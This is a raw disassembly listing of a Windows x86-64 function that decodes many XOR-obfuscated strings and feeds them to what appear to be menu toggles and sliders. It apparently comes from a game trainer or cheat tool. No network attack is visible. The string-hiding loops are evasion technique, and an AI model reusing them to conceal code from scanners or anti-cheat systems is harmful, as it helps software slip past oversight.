mov byte [rbp + 0x135a], 0
mov r9d, 0xffffffff
lea r8, [rbp + 0x1598]
lea rdx, [0x1401a7118]
lea rcx, [rbp + 0x1348]
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
movdqa xmm0, xmmword [str.Yn_hm0T]
movdqu xmmword [rbp + 0x1468], xmm0
mov byte [rbp + 0x1478], 1
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1468], al
inc rcx
cmp rcx, 0xf
jb 0x14006b870
mov byte [rbp + 0x1478], 0
lea rcx, [rbp + 0x1468]
call fcn.140054480
movdqa xmm0, xmmword [0x140116690]
movdqu xmmword [rbp + 0x1530], xmm0
movdqa xmm1, xmmword [str.rkp]
movdqu xmmword [rbp + 0x1540], xmm1
mov dword [rbp + 0x1550], 0x650667
mov byte [rbp + 0x1554], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1530], al
inc rcx
cmp rcx, 0x23
jb 0x14006b8d0
mov byte [rbp + 0x1554], 0
movdqa xmm0, xmmword [0x140116df0]
movdqu xmmword [rbp + 0x1360], xmm0
mov word [rbp + 0x1370], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1360], al
inc rcx
cmp rcx, 0x10
jb 0x14006b910
mov byte [rbp + 0x1371], 0
mov r9d, 0xffffffff
lea r8, [rbp + 0x1530]
lea rdx, [0x1401a710c]
lea rcx, [rbp + 0x1360]
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x2f8], 0x68606e59
mov dword [rbp + 0x2fc], 0x47307b6d
mov dword [rbp + 0x300], 0x7c676177
mov dword [rbp + 0x304], 0x1007979
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x2f8], al
inc rcx
cmp rcx, 0xe
jb 0x14006b980
mov byte [rbp + 0x307], 0
lea rcx, [rbp + 0x2f8]
call fcn.140054480
cmp byte [0x1401a7a6c], 0
je 0x14006ba80
mov dword [rbp + 0x1208], 0x686a6a59
mov dword [rbp + 0x120c], 0x7f715d2e
mov dword [rbp + 0x1210], 0x7a461379
mov dword [rbp + 0x1214], 0x1007a79
lea rcx, [rbp + 0x1208]
call fcn.1400745d0
mov rbx, rax
mov dword [rbp + 0x1178], 0x685f2829
mov dword [rbp + 0x117c], 0x65736a62
mov dword [rbp + 0x1180], 0x717b5e32
mov word [rbp + 0x1184], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1186], 1
lea rcx, [rbp + 0x1178]
call fcn.1400745a0
mov r9d, 0xffffffff
mov r8, rbx
lea rdx, [0x1401a7110]
mov rcx, rax
call fcn.14004b7d0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1048], 0x68606e59
mov dword [rbp + 0x104c], 0x5c307b6d
mov dword [rbp + 0x1050], 0x71777d
mov byte [rbp + 0x1054], 1
lea rcx, [rbp + 0x1048]
call fcn.140074540
mov rcx, rax
call fcn.140054480
mov dword [rbp + 0x1428], 0x43520000
mov dword [rbp + 0x142c], 0x41e00000
mov dword [rbp + 0x308], 0x7f6d7f59
mov dword [rbp + 0x30c], 0x7c552f7a
mov dword [rbp + 0x310], 0x61757f67
mov dword [rbp + 0x314], 0x1006579
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x308], al
inc rcx
cmp rcx, 0xe
jb 0x14006bac0
mov byte [rbp + 0x317], 0
lea rdx, [rbp + 0x1428]
lea rcx, [rbp + 0x308]
call fcn.14004a510
test al, al
je 0x14006bb3f
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x1400658c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x1430], 0x43520000
mov dword [rbp + 0x1434], 0x41e00000
mov dword [rbp + 0x2a8], 0x7f6d7f59
mov dword [rbp + 0x2ac], 0x68522f7a
mov dword [rbp + 0x2b0], 0x66677262
mov word [rbp + 0x2b4], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x2a8], al
inc rcx
cmp rcx, 0xc
jb 0x14006bb80
mov byte [rbp + 0x2b5], 0
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x2a8]
call fcn.14004a510
test al, al
je 0x14006bbff
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140066020]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400514b0
mov ecx, 1
call fcn.140024040
mov dword [rbp + 0x108], 0x796d7f59
mov dword [rbp + 0x10c], 0x312a7c7b
mov word [rbp + 0x110], 0x100
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x108], al
inc rcx
cmp rcx, 8
jb 0x14006bc30
mov byte [rbp + 0x111], 0
lea rcx, [rbp + 0x108]
call fcn.14004a2e0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rdx, [0x1401a75a8]
cmp qword [0x1401a75c0], 0xf
cmova rdx, qword [0x1401a75a8]
movaps xmm0, xmmword [0x140116420]
movups xmmword [rbp + 0x1ad0], xmm0
lea rcx, [rbp + 0x1ad0]
call fcn.1400544b0
call fcn.1400514b0
mov dword [rbp + 0xf8], 0x5d3f5b5e
mov dword [rbp + 0xfc], 0x79737b6f
mov word [rbp + 0x100], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0xf8], al
inc rcx
cmp rcx, 8
jb 0x14006bcc0
mov byte [rbp + 0x101], 0
lea rdx, [0x1401a760a]
lea rcx, [rbp + 0xf8]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1e8], 0x687f6e58
mov dword [rbp + 0x1ec], 0x7465487a
mov dword [rbp + 0x1f0], 0x1006761
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1e8], al
inc rcx
cmp rcx, 0xa
jb 0x14006bd20
mov byte [rbp + 0x1f3], 0
lea rdx, [0x1401a72ee]
lea rcx, [rbp + 0x1e8]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x178], 0x426b6446
mov dword [rbp + 0x17c], 0x58307b7b
mov word [rbp + 0x180], 0x56
mov byte [rbp + 0x182], 1
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x178], al
inc rcx
cmp rcx, 9
jb 0x14006bd80
mov byte [rbp + 0x182], 0
lea rdx, [0x1401a7609]
lea rcx, [rbp + 0x178]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x198], 0x2d7f625c
mov dword [rbp + 0x19c], 0x7275674d
mov word [rbp + 0x1a0], 0x79
mov byte [rbp + 0x1a2], 1
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x198], al
inc rcx
cmp rcx, 9
jb 0x14006bde0
mov byte [rbp + 0x1a2], 0
lea rdx, [0x1401a760b]
lea rcx, [rbp + 0x198]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x28], 0x4521655c
mov dword [rbp + 0x2c], 0x100776f
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x28], al
inc rcx
cmp rcx, 6
jb 0x14006be30
mov byte [rbp + 0x2f], 0
lea rcx, [rbp + 0x28]
call fcn.140063e30
cmp byte [0x1401a7a6c], 0
je 0x14006c0c6
mov dword [rbp + 0x258], 0x2d6f7959
mov dword [rbp + 0x25c], 0x62626a58
mov dword [rbp + 0x260], 0x7a7c7b
mov byte [rbp + 0x264], 1
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x258], al
inc rcx
cmp rcx, 0xb
jb 0x14006be82
mov byte [rbp + 0x264], 0
lea rdx, [0x1401a72ef]
lea rcx, [rbp + 0x258]
call fcn.14004ad70
test al, al
je 0x14006bfbe
movzx eax, byte [0x1401a72ef]
test al, al
je 0x14006bf47
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xf08], 0x5b6f7959
mov dword [rbp + 0xf0c], 0x78637d6b
mov dword [rbp + 0xf10], 0x1007d7d
lea rcx, [rbp + 0xf08]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x390], 0x68616a4d
mov word [rbp + 0x394], 0x100
lea rcx, [rbp + 0x390]
call fcn.140073af0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a72ef]
test al, al
jne 0x14006bfbe
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xf18], 0x5b6f7959
mov dword [rbp + 0xf1c], 0x78637d6b
mov dword [rbp + 0xf20], 0x1007d7d
lea rcx, [rbp + 0xf18]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x398], 0x68616a4d
mov word [rbp + 0x39c], 0x100
lea rcx, [rbp + 0x398]
call fcn.140073af0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x268], 0x233c2539
mov dword [rbp + 0x26c], 0x2223213e
mov dword [rbp + 0x270], 0x272021
mov byte [rbp + 0x274], 1
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x268], al
inc rcx
cmp rcx, 0xb
jb 0x14006bff1
mov byte [rbp + 0x274], 0
lea rcx, [rbp + 0x268]
call fcn.140063e30
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xe8], 0x263c333b
mov dword [rbp + 0xec], 0x4240492e
mov word [rbp + 0xf0], 0x100
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0xe8], al
inc rcx
cmp rcx, 8
jb 0x14006c042
mov byte [rbp + 0xf1], 0
lea rdx, [0x1401a7608]
lea rcx, [rbp + 0xe8]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1d8], 0x6260655f
mov dword [rbp + 0x1dc], 0x5730646d
mov dword [rbp + 0x1e0], 0x1004042
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1d8], al
inc rcx
cmp rcx, 0xa
jb 0x14006c0a0
mov byte [rbp + 0x1e3], 0
lea rcx, [rbp + 0x1d8]
call fcn.140063e30
call fcn.140019ce0
cmp dword [0x1401a7a88], 2
jne 0x1400717e2
mov dword [rbp + 0x1440], 0x43d10000
mov dword [rbp + 0x1444], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1440]
lea rcx, [0x1400ec080]
call fcn.14000eda0
mov dword [rbp - 0x10], 0x7e6d674c
mov word [rbp - 0xc], 0x66
mov byte [rbp - 0xa], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x10], al
inc rcx
cmp rcx, 5
jb 0x14006c120
mov byte [rbp - 0xa], 0
xor edx, edx
lea rcx, [rbp - 0x10]
call fcn.14004b760
test al, al
je 0x14006cf1f
mov dword [rbp + 0x2b8], 0x2d74624c
mov dword [rbp + 0x2bc], 0x62716348
mov dword [rbp + 0x2c0], 0x2442337a
mov word [rbp + 0x2c4], 0x100
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x2b8], al
inc rcx
cmp rcx, 0xc
jb 0x14006c171
mov byte [rbp + 0x2c5], 0
lea rdx, [0x1401a7a3f]
lea rcx, [rbp + 0x2b8]
call fcn.14004ad70
test al, al
je 0x14006c2ad
movzx eax, byte [0x1401a7a3f]
test al, al
je 0x14006c236
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xc38], 0x5e74624c
mov dword [rbp + 0xc3c], 0x75756a7e
mov word [rbp + 0xc40], 0x100
lea rcx, [rbp + 0xc38]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x7e8], 0x62616e47
mov dword [rbp + 0x7ec], 0x100767c
lea rcx, [rbp + 0x7e8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a3f]
test al, al
jne 0x14006c2ad
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xc28], 0x5e74624c
mov dword [rbp + 0xc2c], 0x75756a7e
mov word [rbp + 0xc30], 0x100
lea rcx, [rbp + 0xc28]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x7e0], 0x62616e47
mov dword [rbp + 0x7e4], 0x100767c
lea rcx, [rbp + 0x7e0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x70], 0x667f6258
mov word [rbp - 0x6c], 0x100
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 4
jb 0x14006c2d0
mov byte [rbp - 0x6b], 0
lea rcx, [rbp - 0x70]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm11
call fcn.140027e20
mov dword [rbp + 0x278], 0x7a636759
mov dword [rbp + 0x27c], 0x657f422e
mov dword [rbp + 0x280], 0x7a7c7b
mov byte [rbp + 0x284], 1
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x278], al
inc rcx
cmp rcx, 0xb
jb 0x14006c321
mov byte [rbp + 0x284], 0
lea rdx, [0x1401a7a40]
lea rcx, [rbp + 0x278]
call fcn.14004ad70
test al, al
je 0x14006c45f
movzx eax, byte [0x1401a7a40]
test al, al
je 0x14006c3e7
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xf28], 0x7a636759
mov dword [rbp + 0xf2c], 0x78646043
mov dword [rbp + 0xf30], 0x1007d7d
lea rcx, [rbp + 0xf28]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x7d8], 0x62616e47
mov dword [rbp + 0x7dc], 0x100767c
lea rcx, [rbp + 0x7d8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a40]
test al, al
jne 0x14006c45f
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xf38], 0x7a636759
mov dword [rbp + 0xf3c], 0x78646043
mov dword [rbp + 0xf40], 0x1007d7d
lea rcx, [rbp + 0xf38]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x7d0], 0x62616e47
mov dword [rbp + 0x7d4], 0x100767c
lea rcx, [rbp + 0x7d0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x40], 0x667f6258
mov word [rbp - 0x3c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 4
jb 0x14006c480
mov byte [rbp - 0x3b], 0
lea rcx, [rbp - 0x40]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm12
call fcn.140027e20
mov dword [rbp + 0x288], 0x6e636541
mov dword [rbp + 0x28c], 0x61432f65
mov dword [rbp + 0x290], 0x707677
mov byte [rbp + 0x294], 1
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x288], al
inc rcx
cmp rcx, 0xb
jb 0x14006c4d1
mov byte [rbp + 0x294], 0
lea rdx, [0x1401a7a41]
lea rcx, [rbp + 0x288]
call fcn.14004ad70
test al, al
je 0x14006c60f
movzx eax, byte [0x1401a7a41]
test al, al
je 0x14006c597
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xf48], 0x6e636541
mov dword [rbp + 0xf4c], 0x74605c65
mov dword [rbp + 0xf50], 0x1007777
lea rcx, [rbp + 0xf48]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x7c8], 0x62616e47
mov dword [rbp + 0x7cc], 0x100767c
lea rcx, [rbp + 0x7c8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a41]
test al, al
jne 0x14006c60f
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xf58], 0x6e636541
mov dword [rbp + 0xf5c], 0x74605c65
mov dword [rbp + 0xf60], 0x1007777
lea rcx, [rbp + 0xf58]
call fcn.1400744e0
mov rbx, rax
mov dword [rbp + 0x7c0], 0x62616e47
mov dword [rbp + 0x7c4], 0x100767c
lea rcx, [rbp + 0x7c0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x38], 0x667f6258
mov word [rbp - 0x34], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x38], al
inc rcx
cmp rcx, 4
jb 0x14006c630
mov byte [rbp - 0x33], 0
lea rcx, [rbp - 0x38]
call fcn.140063e30
mov dword [rbp + 0xd8], 0x7e6d674c
mov dword [rbp + 0xdc], 0x20462f66
mov word [rbp + 0xe0], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0xd8], al
inc rcx
cmp rcx, 8
jb 0x14006c670
mov byte [rbp + 0xe1], 0
lea rdx, [0x1401a760d]
lea rcx, [rbp + 0xd8]
call fcn.14004ad70
test al, al
je 0x14006c6ca
cmp byte [0x1401a760d], 0
jne 0x14006c6ca
movaps xmm1, xmm14
mov ecx, 0x63d145c
call fcn.140072700
movss xmm1, dword [0x140115d60]
mov ecx, 0x5ab87b8
call fcn.140072700
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x30], 0x667f6258
mov word [rbp - 0x2c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 4
jb 0x14006c6f0
mov byte [rbp - 0x2b], 0
lea rcx, [rbp - 0x30]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm11
call fcn.140027e20
mov dword [rbp + 0xc8], 0x7e6d674c
mov dword [rbp + 0xcc], 0x23462f66
mov word [rbp + 0xd0], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0xc8], al
inc rcx
cmp rcx, 8
jb 0x14006c740
mov byte [rbp + 0xd1], 0
lea rdx, [0x1401a760e]
lea rcx, [rbp + 0xc8]
call fcn.14004ad70
test al, al
je 0x14006c7c7
cmp byte [0x1401a760e], 0
je 0x14006c7a7
movss xmm1, dword [0x140115d1c]
mov ecx, 0x63d145c
call fcn.140072700
movss xmm1, dword [0x140115d18]
mov ecx, 0x5ada02c
call fcn.140072700
cmp byte [0x1401a760e], 0
jne 0x14006c7c7
movaps xmm1, xmm14
mov ecx, 0x63d145c
call fcn.140072700
movss xmm1, dword [0x1400efb8c]
mov ecx, 0x5ada02c
call fcn.140072700
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x28], 0x667f6258
mov word [rbp - 0x24], 0x100
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 4
jb 0x14006c7f0
mov byte [rbp - 0x23], 0
lea rcx, [rbp - 0x28]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm12
call fcn.140027e20
mov dword [rbp + 0xb8], 0x7e6d674c
mov dword [rbp + 0xbc], 0x22462f66
mov word [rbp + 0xc0], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0xb8], al
inc rcx
cmp rcx, 8
jb 0x14006c840
mov byte [rbp + 0xc1], 0
lea rdx, [0x1401a760f]
lea rcx, [rbp + 0xb8]
call fcn.14004ad70
test al, al
je 0x14006c8a2
cmp byte [0x1401a760f], 0
je 0x14006c890
xorps xmm1, xmm1
mov ecx, 0x5e9d260
call fcn.140072700
cmp byte [0x1401a760f], 0
jne 0x14006c8a2
movss xmm1, dword [0x140115d5c]
mov ecx, 0x5e9d260
call fcn.140072700
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rsp + 0x68], 0x667f6258
mov word [rsp + 0x6c], 0x100
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 4
jb 0x14006c8c0
mov byte [rsp + 0x6d], 0
lea rcx, [rsp + 0x68]
call fcn.140063e30
mov dword [rbp + 0x238], 0x62787e4b
mov dword [rbp + 0x23c], 0x707c492e
mov dword [rbp + 0x240], 0x1007b61
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x238], al
inc rcx
cmp rcx, 0xa
jb 0x14006c900
mov byte [rbp + 0x243], 0
lea rdx, [0x1401a7a3c]
lea rcx, [rbp + 0x238]
call fcn.14004ad70
test al, al
je 0x14006ca4a
movzx eax, byte [0x1401a7a3c]
test al, al
je 0x14006c9cc
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0xe98], 0x62787e4b
mov dword [rbp + 0xe9c], 0x62716348
mov word [rbp + 0xea0], 0x7a
mov byte [rbp + 0xea2], 1
lea rcx, [rbp + 0xe98]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x7b8], 0x62616e47
mov dword [rbp + 0x7bc], 0x100767c
lea rcx, [rbp + 0x7b8]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a3c]
test al, al
jne 0x14006ca4a
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0xc68], 0x62787e4b
mov dword [rbp + 0xc6c], 0x62716348
mov word [rbp + 0xc70], 0x7a
mov byte [rbp + 0xc72], 1
lea rcx, [rbp + 0xc68]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x7b0], 0x62616e47
mov dword [rbp + 0x7b4], 0x100767c
lea rcx, [rbp + 0x7b0]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rsp + 0x70], 0x667f6258
mov word [rsp + 0x74], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 4
jb 0x14006ca70
mov byte [rsp + 0x75], 0
lea rcx, [rsp + 0x70]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm11
call fcn.140027e20
cmp byte [0x1401a7a6c], 0
je 0x14006cc15
mov dword [rbp + 0x918], 0x2d786259
mov dword [rbp + 0x91c], 0x696348
mov byte [rbp + 0x920], 1
lea rcx, [rbp + 0x918]
call fcn.140073b80
mov rcx, rax
lea rdx, [0x1401a7a42]
call fcn.14004ad70
test al, al
je 0x14006cbd7
movzx eax, byte [0x1401a7a42]
test al, al
je 0x14006cb69
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
mov edi, eax
mov dword [rbp + 0x7a8], 0x4b786259
mov dword [rbp + 0x7ac], 0x1007662
lea rcx, [rbp + 0x7a8]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x808], 0x62616e47
mov dword [rbp + 0x80c], 0x100767c
lea rcx, [rbp + 0x808]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movzx eax, byte [0x1401a7a42]
test al, al
jne 0x14006cbd7
lea rsi, [rbp + 0x1c00]
cmp qword [rbp + 0x1c18], 0xf
cmova rsi, qword [rbp + 0x1c00]
movzx edi, al
mov dword [rbp + 0x798], 0x4b786259
mov dword [rbp + 0x79c], 0x1007662
lea rcx, [rbp + 0x798]
call fcn.140073b50
mov rbx, rax
mov dword [rbp + 0x790], 0x62616e47
mov dword [rbp + 0x794], 0x100767c
lea rcx, [rbp + 0x790]
call fcn.140073b50
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072690
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3a0], 0x667f6258
mov word [rbp + 0x3a4], 0x100
lea rcx, [rbp + 0x3a0]
call fcn.140073af0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm12
call fcn.140027e20
mov dword [rbp + 0x228], 0x7f6f6a47
mov dword [rbp + 0x22c], 0x74605c61
mov dword [rbp + 0x230], 0x1007777
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x228], al
inc rcx
cmp rcx, 0xa
jb 0x14006cc40
mov byte [rbp + 0x233], 0
lea rdx, [0x1401a7a3d]
lea rcx, [rbp + 0x228]
call fcn.14004ad70
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rsp + 0x78], 0x667f6258
mov word [rsp + 0x7c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rsp + rcx + 0x78], al
inc rcx
cmp rcx, 4
jb 0x14006cc90
mov byte [rsp + 0x7d], 0
lea rcx, [rsp + 0x78]
call fcn.140063e30
movss xmm0, dword [0x140115d4c]
call fcn.140024720
mov dword [rbp + 0x218], 0x68616a4d
mov dword [rbp + 0x21c], 0x74605c2e
mov dword [rbp + 0x220], 0x1007777
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x218], al
inc rcx
cmp rcx, 0xa
jb 0x14006cce0
mov byte [rbp + 0x223], 0
mov dword [rsp + 0x28], r15d
lea rbx, str._.3f
mov qword [rsp + 0x20], rbx
movss xmm3, dword [0x1400ebf8c]
movss xmm2, dword [0x1400ebf7c]
lea rdx, [0x140170d8c]
lea rcx, [rbp + 0x218]
call fcn.140050f70
test al, al
je 0x14006cd4d
cmp byte [0x1401a760d], 0
je 0x14006cd4d
movss xmm1, dword [0x140170d8c]
mov ecx, 0x63d145c
call fcn.140072700
mov dword [rbp + 0x298], 0x6278684b
mov dword [rbp + 0x29c], 0x61432f7c
mov dword [rbp + 0x2a0], 0x707677
mov byte [rbp + 0x2a4], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x298], al
inc rcx
cmp rcx, 0xb
jb 0x14006cd80
mov byte [rbp + 0x2a4], 0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
movaps xmm3, xmm9
xorps xmm2, xmm2
lea rdx, [0x1401a7a78]
lea rcx, [rbp + 0x298]
call fcn.140050f70
test al, al
je 0x14006cddd
cmp byte [0x1401a760d], 0
je 0x14006cddd
movss xmm1, dword [0x140170d8c]
mov ecx, 0x5ab87b8
call fcn.140072700
cmp byte [0x1401a7a3d], 0
je 0x14006cf1f
mov dword [rbp + 0x1058], 0x7f6f6a47
